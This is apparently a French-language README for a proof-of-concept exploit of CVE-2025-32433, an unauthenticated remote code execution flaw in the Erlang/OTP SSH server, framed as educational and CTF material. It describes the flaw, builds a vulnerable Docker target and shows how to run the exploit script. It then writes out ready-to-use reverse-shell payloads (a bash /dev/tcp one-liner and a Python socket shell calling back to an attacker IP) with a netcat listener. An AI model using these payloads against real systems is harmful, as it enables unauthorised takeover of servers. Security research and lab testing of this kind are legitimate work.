
Exploit de preuve de concept pour CVE-2025-32433, permettant l'exécution de code à distance sans authentification dans Erlang/OTP SSH. Comprend une configuration Docker et des payloads de reverse shell pour la recherche en sécurité et les défis CTF.
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-32433, une vulnérabilité critique d'exécution de code à distance (RCE) non authentifiée affectant l'implémentation du serveur SSH dans Erlang/Open Telecom Platform (OTP). Cette PoC est conçue à des fins éducatives, de recherche en sécurité et pour les défis Capture The Flag (CTF).
⚠️ Avertissement - Réservé à un usage éducatif et éthique ⚠️
Cette PoC est fournie strictement à des fins éducatives et de piratage éthique. Elle est destinée à une utilisation dans des environnements contrôlés, tels que des machines virtuelles isolées ou des plateformes CTF, où vous avez l'autorisation explicite d'effectuer des tests de sécurité.
NE PAS utiliser cette PoC contre un système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite. L'accès non autorisé ou l'exploitation de systèmes informatiques est illégal et contraire à l'éthique. L'auteur et les mainteneurs de ce dépôt ne sont pas responsables de toute utilisation abusive ou des dommages causés par ce code.
| Attribut | Détails |
|---|---|
| Identifiant CVE | CVE-2025-32433 |
| Type de vulnérabilité | Exécution de code à distance (RCE) non authentifiée |
| Score CVSS v3.1 | 10.0 (Critique) |
| Logiciel concerné | Serveur SSH Erlang/OTP (ssh) |
| Versions concernées | OTP-27.3.2 et versions antérieures OTP-26.2.5.10 et versions antérieures OTP-25.3.2.19 et versions antérieures Versions à partir de OTP 17.0 et plus anciennes |
| Versions corrigées | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
La vulnérabilité réside dans la manière dont le serveur SSH Erlang/OTP traite les messages du protocole SSH pendant la phase de pré-authentification. Plus précisément, le serveur n'applique pas correctement la séquence du protocole SSH, permettant à un attaquant distant non authentifié d'envoyer des messages SSH_MSG_CHANNEL_OPEN et SSH_MSG_CHANNEL_REQUEST spécialement conçus. Cela permet à l'attaquant d'ouvrir un canal de session et d'exécuter des commandes Erlang arbitraires (qui peuvent à leur tour exécuter des commandes système) sans fournir d'identifiants valides. Si le démon SSH s'exécute avec des privilèges élevés (par exemple en tant que root), une exploitation réussie peut conduire à un compromis total du système.
Le moyen le plus simple de configurer un serveur SSH Erlang/OTP vulnérable est d'utiliser le Dockerfile fourni.
Clonez ce dépôt :
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Construisez l'image Docker :
Cette commande compile une version vulnérable de Erlang/OTP (OTP-26.2.5.10) et configure le serveur SSH.
docker build -t erlang-ssh-vulnerable .
Exécutez le conteneur du serveur vulnérable :
Cela démarre le serveur SSH Erlang/OTP en arrière-plan, écoutant sur le port 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d : Exécute le conteneur en mode détaché.--name erlang-ssh-target : Attribue un nom au conteneur pour une gestion facile.-p 2222:2222 : Mappe le port hôte 2222 sur le port conteneur 2222.Le script cve_2025_32433_exploit.py peut être exécuté en mode interactif ou avec des arguments en ligne de commande.
Si vous exécutez le script sans arguments, il vous demandera les informations nécessaires.
python3 cve_2025_32433_exploit.py
127.0.0.1 si vous ciblez Docker sur la même machine).2222).Il s'agit du comportement par défaut si vous laissez l'invite de commande vide en mode interactif. Cela crée un fichier /tmp/note.txt sur la cible.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!Pour obtenir un shell inverse, vous devez fournir une charge utile qui se reconnecte à un écouteur sur votre machine.
Démarrez un écouteur Netcat sur votre machine attaquante (par exemple Kali Linux) sur le port de votre choix.
nc -lvnp 4444
Important : Assurez-vous que votre pare-feu (par exemple
ufw) sur votre machine attaquante autorise les connexions entrantes sur ce port.sudo ufw allow 4444/tcp
Exécutez le script PoC avec la charge utile du shell inverse. Remplacez YOUR_ATTACKER_IP par l'adresse IP de votre machine.
Shell inverse Bash :
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Shell inverse Python (souvent plus fiable) :
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Vérifiez votre écouteur Netcat. Vous devriez recevoir une connexion et avoir un shell sur le conteneur cible.
Pour arrêter et supprimer le conteneur et l'image Docker :
# Arrêter et supprimer le conteneur
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optionnel : supprimer également l'image
docker rmi erlang-ssh-vulnerable
Vérifiez que le conteneur est en cours d'exécution :
docker ps